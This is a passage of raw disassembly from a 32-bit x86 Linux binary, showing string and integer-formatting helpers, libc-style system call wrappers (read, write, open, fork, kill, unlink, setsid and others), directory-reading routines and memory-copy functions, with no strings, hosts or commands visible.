804bf4f: 5b pop %ebx
804bf50: 5e pop %esi
804bf51: c3 ret
804bf52: 43 inc %ebx
804bf53: 41 inc %ecx
804bf54: 4a dec %edx
804bf55: 83 fa ff cmp $0xffffffff,%edx
804bf58: 74 08 je 0x804bf62
804bf5a: 8a 03 mov (%ebx),%al
804bf5c: 3a 01 cmp (%ecx),%al
804bf5e: 74 f2 je 0x804bf52
804bf60: eb eb jmp 0x804bf4d
804bf62: b8 01 00 00 00 mov $0x1,%eax
804bf67: 5b pop %ebx
804bf68: 5e pop %esi
804bf69: c3 ret
804bf6a: 90 nop
804bf6b: 90 nop
804bf6c: 90 nop
804bf6d: 90 nop
804bf6e: 90 nop
804bf6f: 90 nop
804bf70: 55 push %ebp
804bf71: 57 push %edi
804bf72: 56 push %esi
804bf73: 53 push %ebx
804bf74: 83 ec 30 sub $0x30,%esp
804bf77: 8b 7c 24 4c mov 0x4c(%esp),%edi
804bf7b: 8b 44 24 44 mov 0x44(%esp),%eax
804bf7f: 8b 74 24 48 mov 0x48(%esp),%esi
804bf83: 85 ff test %edi,%edi
804bf85: 74 69 je 0x804bff0
804bf87: 85 c0 test %eax,%eax
804bf89: 74 75 je 0x804c000
804bf8b: c6 44 24 2f 00 movb $0x0,0x2f(%esp)
804bf90: 83 fe 0a cmp $0xa,%esi
804bf93: 0f 84 84 00 00 00 je 0x804c01d
804bf99: 89 c1 mov %eax,%ecx
804bf9b: 31 ed xor %ebp,%ebp
804bf9d: bb 20 00 00 00 mov $0x20,%ebx
804bfa2: 31 d2 xor %edx,%edx
804bfa4: 89 c8 mov %ecx,%eax
804bfa6: f7 f6 div %esi
804bfa8: 83 fa 09 cmp $0x9,%edx
804bfab: 8d 42 30 lea 0x30(%edx),%eax
804bfae: 7e 03 jle 0x804bfb3
804bfb0: 8d 42 37 lea 0x37(%edx),%eax
804bfb3: 88 44 1c 0e mov %al,0xe(%esp,%ebx,1)
804bfb7: 31 d2 xor %edx,%edx
804bfb9: 89 c8 mov %ecx,%eax
804bfbb: 4b dec %ebx
804bfbc: f7 f6 div %esi
804bfbe: 89 c1 mov %eax,%ecx
804bfc0: 85 c0 test %eax,%eax
804bfc2: 75 de jne 0x804bfa2
804bfc4: 85 ed test %ebp,%ebp
804bfc6: 75 4e jne 0x804c016
804bfc8: 43 inc %ebx
804bfc9: 8d 44 1c 0e lea 0xe(%esp,%ebx,1),%eax
804bfcd: 80 38 00 cmpb $0x0,(%eax)
804bfd0: 74 63 je 0x804c035
804bfd2: 31 c9 xor %ecx,%ecx
804bfd4: 41 inc %ecx
804bfd5: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
804bfd9: 75 f9 jne 0x804bfd4
804bfdb: 83 f9 ff cmp $0xffffffff,%ecx
804bfde: 74 10 je 0x804bff0
804bfe0: 89 fb mov %edi,%ebx
804bfe2: 89 c2 mov %eax,%edx
804bfe4: 8a 02 mov (%edx),%al
804bfe6: 49 dec %ecx
804bfe7: 88 03 mov %al,(%ebx)
804bfe9: 42 inc %edx
804bfea: 43 inc %ebx
804bfeb: 83 f9 ff cmp $0xffffffff,%ecx
804bfee: 75 f4 jne 0x804bfe4
804bff0: 83 c4 30 add $0x30,%esp
804bff3: 89 f8 mov %edi,%eax
804bff5: 5b pop %ebx
804bff6: 5e pop %esi
804bff7: 5f pop %edi
804bff8: 5d pop %ebp
804bff9: c3 ret
804bffa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
804c000: c6 07 30 movb $0x30,(%edi)
804c003: c6 47 01 00 movb $0x0,0x1(%edi)
804c007: 89 f8 mov %edi,%eax
804c009: 83 c4 30 add $0x30,%esp
804c00c: 5b pop %ebx
804c00d: 5e pop %esi
804c00e: 5f pop %edi
804c00f: 5d pop %ebp
804c010: c3 ret
804c011: bb 20 00 00 00 mov $0x20,%ebx
804c016: c6 44 1c 0e 2d movb $0x2d,0xe(%esp,%ebx,1)
804c01b: eb ac jmp 0x804bfc9
804c01d: 85 c0 test %eax,%eax
804c01f: 0f 89 74 ff ff ff jns 0x804bf99
804c025: 89 c1 mov %eax,%ecx
804c027: f7 d9 neg %ecx
804c029: 74 e6 je 0x804c011
804c02b: bd 01 00 00 00 mov $0x1,%ebp
804c030: e9 68 ff ff ff jmp 0x804bf9d
804c035: 89 fb mov %edi,%ebx
804c037: 89 c2 mov %eax,%edx
804c039: 31 c9 xor %ecx,%ecx
804c03b: eb a7 jmp 0x804bfe4
804c03d: 57 push %edi
804c03e: 53 push %ebx
804c03f: 83 ec 14 sub $0x14,%esp
804c042: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c046: 8d 44 24 2c lea 0x2c(%esp),%eax
804c04a: 89 44 24 10 mov %eax,0x10(%esp)
804c04e: 8b 7c 24 20 mov 0x20(%esp),%edi
804c052: 8d 41 f4 lea -0xc(%ecx),%eax
804c055: 8b 54 24 28 mov 0x28(%esp),%edx
804c059: 83 f8 02 cmp $0x2,%eax
804c05c: 77 0e ja 0x804c06c
804c05e: 50 push %eax
804c05f: 52 push %edx
804c060: 51 push %ecx
804c061: 57 push %edi
804c062: e8 2d 00 00 00 call 0x804c094
804c067: 83 c4 10 add $0x10,%esp
804c06a: eb 22 jmp 0x804c08e
804c06c: 53 push %ebx
804c06d: 89 fb mov %edi,%ebx
804c06f: b8 37 00 00 00 mov $0x37,%eax
804c074: cd 80 int $0x80
804c076: 5b pop %ebx
804c077: 89 c3 mov %eax,%ebx
804c079: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c07e: 76 0c jbe 0x804c08c
804c080: e8 31 05 00 00 call 0x804c5b6
804c085: f7 db neg %ebx
804c087: 89 18 mov %ebx,(%eax)
804c089: 83 cb ff or $0xffffffff,%ebx
804c08c: 89 d8 mov %ebx,%eax
804c08e: 83 c4 14 add $0x14,%esp
804c091: 5b pop %ebx
804c092: 5f pop %edi
804c093: c3 ret
804c094: 57 push %edi
804c095: 83 ec 18 sub $0x18,%esp
804c098: 8d 44 24 2c lea 0x2c(%esp),%eax
804c09c: 8b 7c 24 20 mov 0x20(%esp),%edi
804c0a0: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c0a4: 89 44 24 14 mov %eax,0x14(%esp)
804c0a8: 8b 54 24 28 mov 0x28(%esp),%edx
804c0ac: 53 push %ebx
804c0ad: 89 fb mov %edi,%ebx
804c0af: b8 dd 00 00 00 mov $0xdd,%eax
804c0b4: cd 80 int $0x80
804c0b6: 5b pop %ebx
804c0b7: 89 c7 mov %eax,%edi
804c0b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c0be: 76 0c jbe 0x804c0cc
804c0c0: e8 f1 04 00 00 call 0x804c5b6
804c0c5: f7 df neg %edi
804c0c7: 89 38 mov %edi,(%eax)
804c0c9: 83 cf ff or $0xffffffff,%edi
804c0cc: 89 f8 mov %edi,%eax
804c0ce: 83 c4 18 add $0x18,%esp
804c0d1: 5f pop %edi
804c0d2: c3 ret
804c0d3: 57 push %edi
804c0d4: 83 ec 08 sub $0x8,%esp
804c0d7: 8b 7c 24 10 mov 0x10(%esp),%edi
804c0db: 53 push %ebx
804c0dc: 89 fb mov %edi,%ebx
804c0de: b8 06 00 00 00 mov $0x6,%eax
804c0e3: cd 80 int $0x80
804c0e5: 5b pop %ebx
804c0e6: 89 c7 mov %eax,%edi
804c0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c0ed: 76 0c jbe 0x804c0fb
804c0ef: e8 c2 04 00 00 call 0x804c5b6
804c0f4: f7 df neg %edi
804c0f6: 89 38 mov %edi,(%eax)
804c0f8: 83 cf ff or $0xffffffff,%edi
804c0fb: 89 f8 mov %edi,%eax
804c0fd: 5a pop %edx
804c0fe: 59 pop %ecx
804c0ff: 5f pop %edi
804c100: c3 ret
804c101: 53 push %ebx
804c102: 83 ec 08 sub $0x8,%esp
804c105: b8 02 00 00 00 mov $0x2,%eax
804c10a: cd 80 int $0x80
804c10c: 89 c3 mov %eax,%ebx
804c10e: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c113: 76 0c jbe 0x804c121
804c115: e8 9c 04 00 00 call 0x804c5b6
804c11a: f7 db neg %ebx
804c11c: 89 18 mov %ebx,(%eax)
804c11e: 83 cb ff or $0xffffffff,%ebx
804c121: 89 d8 mov %ebx,%eax
804c123: 5a pop %edx
804c124: 59 pop %ecx
804c125: 5b pop %ebx
804c126: c3 ret
804c127: 53 push %ebx
804c128: 83 ec 08 sub $0x8,%esp
804c12b: b8 14 00 00 00 mov $0x14,%eax
804c130: cd 80 int $0x80
804c132: 89 c3 mov %eax,%ebx
804c134: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c139: 76 0c jbe 0x804c147
804c13b: e8 76 04 00 00 call 0x804c5b6
804c140: f7 db neg %ebx
804c142: 89 18 mov %ebx,(%eax)
804c144: 83 cb ff or $0xffffffff,%ebx
804c147: 89 d8 mov %ebx,%eax
804c149: 5a pop %edx
804c14a: 59 pop %ecx
804c14b: 5b pop %ebx
804c14c: c3 ret
804c14d: 53 push %ebx
804c14e: 83 ec 08 sub $0x8,%esp
804c151: b8 40 00 00 00 mov $0x40,%eax
804c156: cd 80 int $0x80
804c158: 89 c3 mov %eax,%ebx
804c15a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c15f: 76 0c jbe 0x804c16d
804c161: e8 50 04 00 00 call 0x804c5b6
804c166: f7 db neg %ebx
804c168: 89 18 mov %ebx,(%eax)
804c16a: 83 cb ff or $0xffffffff,%ebx
804c16d: 89 d8 mov %ebx,%eax
804c16f: 5a pop %edx
804c170: 59 pop %ecx
804c171: 5b pop %ebx
804c172: c3 ret
804c173: 57 push %edi
804c174: 83 ec 18 sub $0x18,%esp
804c177: 8d 44 24 2c lea 0x2c(%esp),%eax
804c17b: 8b 7c 24 20 mov 0x20(%esp),%edi
804c17f: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c183: 89 44 24 14 mov %eax,0x14(%esp)
804c187: 8b 54 24 28 mov 0x28(%esp),%edx
804c18b: 53 push %ebx
804c18c: 89 fb mov %edi,%ebx
804c18e: b8 36 00 00 00 mov $0x36,%eax
804c193: cd 80 int $0x80
804c195: 5b pop %ebx
804c196: 89 c7 mov %eax,%edi
804c198: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c19d: 76 0c jbe 0x804c1ab
804c19f: e8 12 04 00 00 call 0x804c5b6
804c1a4: f7 df neg %edi
804c1a6: 89 38 mov %edi,(%eax)
804c1a8: 83 cf ff or $0xffffffff,%edi
804c1ab: 89 f8 mov %edi,%eax
804c1ad: 83 c4 18 add $0x18,%esp
804c1b0: 5f pop %edi
804c1b1: c3 ret
804c1b2: 53 push %ebx
804c1b3: 83 ec 08 sub $0x8,%esp
804c1b6: 8b 54 24 10 mov 0x10(%esp),%edx
804c1ba: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c1be: 87 d3 xchg %edx,%ebx
804c1c0: b8 25 00 00 00 mov $0x25,%eax
804c1c5: cd 80 int $0x80
804c1c7: 87 d3 xchg %edx,%ebx
804c1c9: 89 c3 mov %eax,%ebx
804c1cb: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c1d0: 76 0c jbe 0x804c1de
804c1d2: e8 df 03 00 00 call 0x804c5b6
804c1d7: f7 db neg %ebx
804c1d9: 89 18 mov %ebx,(%eax)
804c1db: 83 cb ff or $0xffffffff,%ebx
804c1de: 89 d8 mov %ebx,%eax
804c1e0: 5a pop %edx
804c1e1: 59 pop %ecx
804c1e2: 5b pop %ebx
804c1e3: c3 ret
804c1e4: 57 push %edi
804c1e5: 53 push %ebx
804c1e6: 83 ec 14 sub $0x14,%esp
804c1e9: 31 c0 xor %eax,%eax
804c1eb: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c1ef: 8b 7c 24 20 mov 0x20(%esp),%edi
804c1f3: f6 c1 40 test $0x40,%cl
804c1f6: 74 0c je 0x804c204
804c1f8: 8d 44 24 2c lea 0x2c(%esp),%eax
804c1fc: 89 44 24 10 mov %eax,0x10(%esp)
804c200: 8b 44 24 28 mov 0x28(%esp),%eax
804c204: 0f b7 d0 movzwl %ax,%edx
804c207: 53 push %ebx
804c208: 89 fb mov %edi,%ebx
804c20a: b8 05 00 00 00 mov $0x5,%eax
804c20f: cd 80 int $0x80
804c211: 5b pop %ebx
804c212: 89 c3 mov %eax,%ebx
804c214: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c219: 76 0c jbe 0x804c227
804c21b: e8 96 03 00 00 call 0x804c5b6
804c220: f7 db neg %ebx
804c222: 89 18 mov %ebx,(%eax)
804c224: 83 cb ff or $0xffffffff,%ebx
804c227: 89 d8 mov %ebx,%eax
804c229: 83 c4 14 add $0x14,%esp
804c22c: 5b pop %ebx
804c22d: 5f pop %edi
804c22e: c3 ret
804c22f: 57 push %edi
804c230: 56 push %esi
804c231: 83 ec 04 sub $0x4,%esp
804c234: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c238: 8b 54 24 18 mov 0x18(%esp),%edx
804c23c: 8b 74 24 1c mov 0x1c(%esp),%esi
804c240: 8b 7c 24 20 mov 0x20(%esp),%edi
804c244: 8b 44 24 10 mov 0x10(%esp),%eax
804c248: 53 push %ebx
804c249: 89 c3 mov %eax,%ebx
804c24b: b8 ac 00 00 00 mov $0xac,%eax
804c250: cd 80 int $0x80
804c252: 5b pop %ebx
804c253: 89 c6 mov %eax,%esi
804c255: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c25a: 76 0c jbe 0x804c268
804c25c: e8 55 03 00 00 call 0x804c5b6
804c261: f7 de neg %esi
804c263: 89 30 mov %esi,(%eax)
804c265: 83 ce ff or $0xffffffff,%esi
804c268: 89 f0 mov %esi,%eax
804c26a: 5a pop %edx
804c26b: 5e pop %esi
804c26c: 5f pop %edi
804c26d: c3 ret
804c26e: 57 push %edi
804c26f: 83 ec 08 sub $0x8,%esp
804c272: 8b 7c 24 10 mov 0x10(%esp),%edi
804c276: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c27a: 8b 54 24 18 mov 0x18(%esp),%edx
804c27e: 53 push %ebx
804c27f: 89 fb mov %edi,%ebx
804c281: b8 03 00 00 00 mov $0x3,%eax
804c286: cd 80 int $0x80
804c288: 5b pop %ebx
804c289: 89 c7 mov %eax,%edi
804c28b: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c290: 76 0c jbe 0x804c29e
804c292: e8 1f 03 00 00 call 0x804c5b6
804c297: f7 df neg %edi
804c299: 89 38 mov %edi,(%eax)
804c29b: 83 cf ff or $0xffffffff,%edi
804c29e: 89 f8 mov %edi,%eax
804c2a0: 5a pop %edx
804c2a1: 59 pop %ecx
804c2a2: 5f pop %edi
804c2a3: c3 ret
804c2a4: 57 push %edi
804c2a5: 83 ec 08 sub $0x8,%esp
804c2a8: 8b 7c 24 10 mov 0x10(%esp),%edi
804c2ac: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c2b0: 8b 54 24 18 mov 0x18(%esp),%edx
804c2b4: 53 push %ebx
804c2b5: 89 fb mov %edi,%ebx
804c2b7: b8 55 00 00 00 mov $0x55,%eax
804c2bc: cd 80 int $0x80
804c2be: 5b pop %ebx
804c2bf: 89 c7 mov %eax,%edi
804c2c1: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c2c6: 76 0c jbe 0x804c2d4
804c2c8: e8 e9 02 00 00 call 0x804c5b6
804c2cd: f7 df neg %edi
804c2cf: 89 38 mov %edi,(%eax)
804c2d1: 83 cf ff or $0xffffffff,%edi
804c2d4: 89 f8 mov %edi,%eax
804c2d6: 5a pop %edx
804c2d7: 59 pop %ecx
804c2d8: 5f pop %edi
804c2d9: c3 ret
804c2da: 57 push %edi
804c2db: 56 push %esi
804c2dc: 83 ec 04 sub $0x4,%esp
804c2df: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c2e3: 8b 54 24 18 mov 0x18(%esp),%edx
804c2e7: 8b 74 24 1c mov 0x1c(%esp),%esi
804c2eb: 8b 7c 24 20 mov 0x20(%esp),%edi
804c2ef: 8b 44 24 10 mov 0x10(%esp),%eax
804c2f3: 53 push %ebx
804c2f4: 89 c3 mov %eax,%ebx
804c2f6: b8 8e 00 00 00 mov $0x8e,%eax
804c2fb: cd 80 int $0x80
804c2fd: 5b pop %ebx
804c2fe: 89 c6 mov %eax,%esi
804c300: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c305: 76 0c jbe 0x804c313
804c307: e8 aa 02 00 00 call 0x804c5b6
804c30c: f7 de neg %esi
804c30e: 89 30 mov %esi,(%eax)
804c310: 83 ce ff or $0xffffffff,%esi
804c313: 89 f0 mov %esi,%eax
804c315: 5a pop %edx
804c316: 5e pop %esi
804c317: 5f pop %edi
804c318: c3 ret
804c319: 53 push %ebx
804c31a: 83 ec 08 sub $0x8,%esp
804c31d: b8 42 00 00 00 mov $0x42,%eax
804c322: cd 80 int $0x80
804c324: 89 c3 mov %eax,%ebx
804c326: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c32b: 76 0c jbe 0x804c339
804c32d: e8 84 02 00 00 call 0x804c5b6
804c332: f7 db neg %ebx
804c334: 89 18 mov %ebx,(%eax)
804c336: 83 cb ff or $0xffffffff,%ebx
804c339: 89 d8 mov %ebx,%eax
804c33b: 5a pop %edx
804c33c: 59 pop %ecx
804c33d: 5b pop %ebx
804c33e: c3 ret
804c33f: 57 push %edi
804c340: 83 ec 08 sub $0x8,%esp
804c343: 8b 7c 24 10 mov 0x10(%esp),%edi
804c347: 53 push %ebx
804c348: 89 fb mov %edi,%ebx
804c34a: b8 0d 00 00 00 mov $0xd,%eax
804c34f: cd 80 int $0x80
804c351: 5b pop %ebx
804c352: 89 c7 mov %eax,%edi
804c354: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c359: 76 0c jbe 0x804c367
804c35b: e8 56 02 00 00 call 0x804c5b6
804c360: f7 df neg %edi
804c362: 89 38 mov %edi,(%eax)
804c364: 83 cf ff or $0xffffffff,%edi
804c367: 89 f8 mov %edi,%eax
804c369: 5a pop %edx
804c36a: 59 pop %ecx
804c36b: 5f pop %edi
804c36c: c3 ret
804c36d: 57 push %edi
804c36e: 83 ec 08 sub $0x8,%esp
804c371: 8b 7c 24 10 mov 0x10(%esp),%edi
804c375: 53 push %ebx
804c376: 89 fb mov %edi,%ebx
804c378: b8 0a 00 00 00 mov $0xa,%eax
804c37d: cd 80 int $0x80
804c37f: 5b pop %ebx
804c380: 89 c7 mov %eax,%edi
804c382: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c387: 76 0c jbe 0x804c395
804c389: e8 28 02 00 00 call 0x804c5b6
804c38e: f7 df neg %edi
804c390: 89 38 mov %edi,(%eax)
804c392: 83 cf ff or $0xffffffff,%edi
804c395: 89 f8 mov %edi,%eax
804c397: 5a pop %edx
804c398: 59 pop %ecx
804c399: 5f pop %edi
804c39a: c3 ret
804c39b: 57 push %edi
804c39c: 83 ec 08 sub $0x8,%esp
804c39f: 8b 7c 24 10 mov 0x10(%esp),%edi
804c3a3: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c3a7: 8b 54 24 18 mov 0x18(%esp),%edx
804c3ab: 53 push %ebx
804c3ac: 89 fb mov %edi,%ebx
804c3ae: b8 04 00 00 00 mov $0x4,%eax
804c3b3: cd 80 int $0x80
804c3b5: 5b pop %ebx
804c3b6: 89 c7 mov %eax,%edi
804c3b8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c3bd: 76 0c jbe 0x804c3cb
804c3bf: e8 f2 01 00 00 call 0x804c5b6
804c3c4: f7 df neg %edi
804c3c6: 89 38 mov %edi,(%eax)
804c3c8: 83 cf ff or $0xffffffff,%edi
804c3cb: 89 f8 mov %edi,%eax
804c3cd: 5a pop %edx
804c3ce: 59 pop %ecx
804c3cf: 5f pop %edi
804c3d0: c3 ret
804c3d1: 57 push %edi
804c3d2: 56 push %esi
804c3d3: 53 push %ebx
804c3d4: 83 ec 10 sub $0x10,%esp
804c3d7: 8b 7c 24 20 mov 0x20(%esp),%edi
804c3db: 83 3f ff cmpl $0xffffffff,(%edi)
804c3de: 75 10 jne 0x804c3f0
804c3e0: e8 d1 01 00 00 call 0x804c5b6
804c3e5: c7 00 09 00 00 00 movl $0x9,(%eax)
804c3eb: 83 c8 ff or $0xffffffff,%eax
804c3ee: eb 4a jmp 0x804c43a
804c3f0: 8d 5f 18 lea 0x18(%edi),%ebx
804c3f3: 56 push %esi
804c3f4: 53 push %ebx
804c3f5: 68 99 dd 04 08 push $0x804dd99
804c3fa: 8d 74 24 0c lea 0xc(%esp),%esi
804c3fe: 56 push %esi
804c3ff: e8 98 19 00 00 call 0x804dd9c
804c404: 89 1c 24 mov %ebx,(%esp)
804c407: e8 8d 19 00 00 call 0x804dd99
804c40c: 8b 1f mov (%edi),%ebx
804c40e: c7 07 ff ff ff ff movl $0xffffffff,(%edi)
804c414: 5a pop %edx
804c415: 59 pop %ecx
804c416: 6a 01 push $0x1
804c418: 56 push %esi
804c419: e8 7e 19 00 00 call 0x804dd9c
804c41e: 58 pop %eax
804c41f: ff 77 0c pushl 0xc(%edi)
804c422: e8 0e 12 00 00 call 0x804d635
804c427: 89 3c 24 mov %edi,(%esp)
804c42a: e8 06 12 00 00 call 0x804d635
804c42f: 89 1c 24 mov %ebx,(%esp)
804c432: e8 9c fc ff ff call 0x804c0d3
804c437: 83 c4 10 add $0x10,%esp
804c43a: 83 c4 10 add $0x10,%esp
804c43d: 5b pop %ebx
804c43e: 5e pop %esi
804c43f: 5f pop %edi
804c440: c3 ret
804c441: 57 push %edi
804c442: 56 push %esi
804c443: 53 push %ebx
804c444: 31 db xor %ebx,%ebx
804c446: 83 ec 68 sub $0x68,%esp
804c449: 68 00 08 01 00 push $0x10800
804c44e: ff 74 24 7c pushl 0x7c(%esp)
804c452: e8 8d fd ff ff call 0x804c1e4
804c457: 83 c4 10 add $0x10,%esp
804c45a: 89 c7 mov %eax,%edi
804c45c: 85 c0 test %eax,%eax
804c45e: 0f 88 c5 00 00 00 js 0x804c529
804c464: 53 push %ebx
804c465: 53 push %ebx
804c466: 8d 44 24 10 lea 0x10(%esp),%eax
804c46a: 50 push %eax
804c46b: 57 push %edi
804c46c: e8 25 1d 00 00 call 0x804e196
804c471: 83 c4 10 add $0x10,%esp
804c474: 85 c0 test %eax,%eax
804c476: 78 12 js 0x804c48a
804c478: 51 push %ecx
804c479: 6a 01 push $0x1
804c47b: 6a 02 push $0x2
804c47d: 57 push %edi
804c47e: e8 ba fb ff ff call 0x804c03d
804c483: 83 c4 10 add $0x10,%esp
804c486: 85 c0 test %eax,%eax
804c488: 79 16 jns 0x804c4a0
804c48a: e8 27 01 00 00 call 0x804c5b6
804c48f: 83 ec 0c sub $0xc,%esp
804c492: 89 c3 mov %eax,%ebx
804c494: 8b 30 mov (%eax),%esi
804c496: 57 push %edi
804c497: e8 37 fc ff ff call 0x804c0d3
804c49c: 89 33 mov %esi,(%ebx)
804c49e: eb 75 jmp 0x804c515
804c4a0: 83 ec 0c sub $0xc,%esp
804c4a3: 6a 30 push $0x30
804c4a5: e8 c6 03 00 00 call 0x804c870
804c4aa: 83 c4 10 add $0x10,%esp
804c4ad: 89 c3 mov %eax,%ebx
804c4af: 85 c0 test %eax,%eax
804c4b1: 74 4e je 0x804c501
804c4b3: 89 38 mov %edi,(%eax)
804c4b5: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
804c4bc: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
804c4c3: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
804c4ca: 8b 44 24 38 mov 0x38(%esp),%eax
804c4ce: 89 43 14 mov %eax,0x14(%ebx)
804c4d1: 3d ff 01 00 00 cmp $0x1ff,%eax
804c4d6: 77 07 ja 0x804c4df
804c4d8: c7 43 14 00 02 00 00 movl $0x200,0x14(%ebx)
804c4df: 52 push %edx
804c4e0: 52 push %edx
804c4e1: ff 73 14 pushl 0x14(%ebx)
804c4e4: 6a 01 push $0x1
804c4e6: e8 f9 0a 00 00 call 0x804cfe4
804c4eb: 83 c4 10 add $0x10,%esp
804c4ee: 89 43 0c mov %eax,0xc(%ebx)
804c4f1: 85 c0 test %eax,%eax
804c4f3: 75 24 jne 0x804c519
804c4f5: 83 ec 0c sub $0xc,%esp
804c4f8: 53 push %ebx
804c4f9: e8 37 11 00 00 call 0x804d635
804c4fe: 83 c4 10 add $0x10,%esp
804c501: 83 ec 0c sub $0xc,%esp
804c504: 57 push %edi
804c505: e8 c9 fb ff ff call 0x804c0d3
804c50a: e8 a7 00 00 00 call 0x804c5b6
804c50f: c7 00 0c 00 00 00 movl $0xc,(%eax)
804c515: 31 db xor %ebx,%ebx
804c517: eb 0d jmp 0x804c526
804c519: 50 push %eax
804c51a: 50 push %eax
804c51b: 8d 43 18 lea 0x18(%ebx),%eax
804c51e: 6a 00 push $0x0
804c520: 50 push %eax
804c521: e8 73 18 00 00 call 0x804dd99
804c526: 83 c4 10 add $0x10,%esp
804c529: 83 c4 60 add $0x60,%esp
804c52c: 89 d8 mov %ebx,%eax
804c52e: 5b pop %ebx
804c52f: 5e pop %esi
804c530: 5f pop %edi
804c531: c3 ret
804c532: 56 push %esi
804c533: 53 push %ebx
804c534: 83 ec 18 sub $0x18,%esp
804c537: 8b 74 24 24 mov 0x24(%esp),%esi
804c53b: 8d 5e 18 lea 0x18(%esi),%ebx
804c53e: 53 push %ebx
804c53f: 68 99 dd 04 08 push $0x804dd99
804c544: 8d 44 24 10 lea 0x10(%esp),%eax
804c548: 50 push %eax
804c549: e8 4e 18 00 00 call 0x804dd9c
804c54e: 89 1c 24 mov %ebx,(%esp)
804c551: e8 43 18 00 00 call 0x804dd99
804c556: 83 c4 10 add $0x10,%esp
804c559: 8b 46 08 mov 0x8(%esi),%eax
804c55c: 3b 46 04 cmp 0x4(%esi),%eax
804c55f: 77 23 ja 0x804c584
804c561: 52 push %edx
804c562: ff 76 14 pushl 0x14(%esi)
804c565: ff 76 0c pushl 0xc(%esi)
804c568: ff 36 pushl (%esi)
804c56a: e8 6f 1c 00 00 call 0x804e1de
804c56f: 83 c4 10 add $0x10,%esp
804c572: 85 c0 test %eax,%eax
804c574: 7f 04 jg 0x804c57a
804c576: 31 db xor %ebx,%ebx
804c578: eb 26 jmp 0x804c5a0
804c57a: 89 46 08 mov %eax,0x8(%esi)
804c57d: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi)
804c584: 8b 46 04 mov 0x4(%esi),%eax
804c587: 89 c3 mov %eax,%ebx
804c589: 03 5e 0c add 0xc(%esi),%ebx
804c58c: 0f b7 53 08 movzwl 0x8(%ebx),%edx
804c590: 01 d0 add %edx,%eax
804c592: 89 46 04 mov %eax,0x4(%esi)
804c595: 8b 43 04 mov 0x4(%ebx),%eax
804c598: 89 46 10 mov %eax,0x10(%esi)
804c59b: 83 3b 00 cmpl $0x0,(%ebx)
804c59e: 74 b9 je 0x804c559
804c5a0: 50 push %eax
804c5a1: 50 push %eax
804c5a2: 6a 01 push $0x1
804c5a4: 8d 44 24 10 lea 0x10(%esp),%eax
804c5a8: 50 push %eax
804c5a9: e8 ee 17 00 00 call 0x804dd9c
804c5ae: 89 d8 mov %ebx,%eax
804c5b0: 83 c4 24 add $0x24,%esp
804c5b3: 5b pop %ebx
804c5b4: 5e pop %esi
804c5b5: c3 ret
804c5b6: b8 00 f1 04 08 mov $0x804f100,%eax
804c5bb: c3 ret
804c5bc: 83 ec 28 sub $0x28,%esp
804c5bf: 8d 44 24 18 lea 0x18(%esp),%eax
804c5c3: 50 push %eax
804c5c4: e8 3f 20 00 00 call 0x804e608
804c5c9: 8b 44 24 20 mov 0x20(%esp),%eax
804c5cd: 03 44 24 1c add 0x1c(%esp),%eax
804c5d1: 83 c4 2c add $0x2c,%esp
804c5d4: 69 c0 10 27 00 00 imul $0x2710,%eax,%eax
804c5da: 25 ff ff ff 7f and $0x7fffffff,%eax
804c5df: c3 ret
804c5e0: 57 push %edi
804c5e1: 56 push %esi
804c5e2: 8b 44 24 0c mov 0xc(%esp),%eax
804c5e6: 8b 74 24 10 mov 0x10(%esp),%esi
804c5ea: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c5ee: 39 f0 cmp %esi,%eax
804c5f0: 73 06 jae 0x804c5f8
804c5f2: 89 c7 mov %eax,%edi
804c5f4: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
804c5f6: eb 0c jmp 0x804c604
804c5f8: 8d 74 0e ff lea -0x1(%esi,%ecx,1),%esi
804c5fc: 8d 7c 08 ff lea -0x1(%eax,%ecx,1),%edi
804c600: fd std
804c601: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
804c603: fc cld
804c604: 5e pop %esi
804c605: 5f pop %edi
804c606: c3 ret
804c607: 57 push %edi
804c608: 8b 44 24 0c mov 0xc(%esp),%eax
804c60c: 8b 4c 24 10 mov 0x10(%esp),%ecx
804c610: 8b 7c 24 08 mov 0x8(%esp),%edi
804c614: f3 aa rep stos %al,%es:(%edi)
804c616: 8b 44 24 08 mov 0x8(%esp),%eax
804c61a: 5f pop %edi
804c61b: c3 ret
804c61c: 57 push %edi
804c61d: 56 push %esi
804c61e: 83 ec 04 sub $0x4,%esp
804c621: 8b 74 24 14 mov 0x14(%esp),%esi
804c625: 8b 7c 24 10 mov 0x10(%esp),%edi
804c629: ac lods %ds:(%esi),%al
804c62a: aa stos %al,%es:(%edi)
804c62b: 84 c0 test %al,%al
804c62d: 75 fa jne 0x804c629
804c62f: 8b 44 24 10 mov 0x10(%esp),%eax
804c633: 5a pop %edx
804c634: 5e pop %esi
804c635: 5f pop %edi
804c636: c3 ret
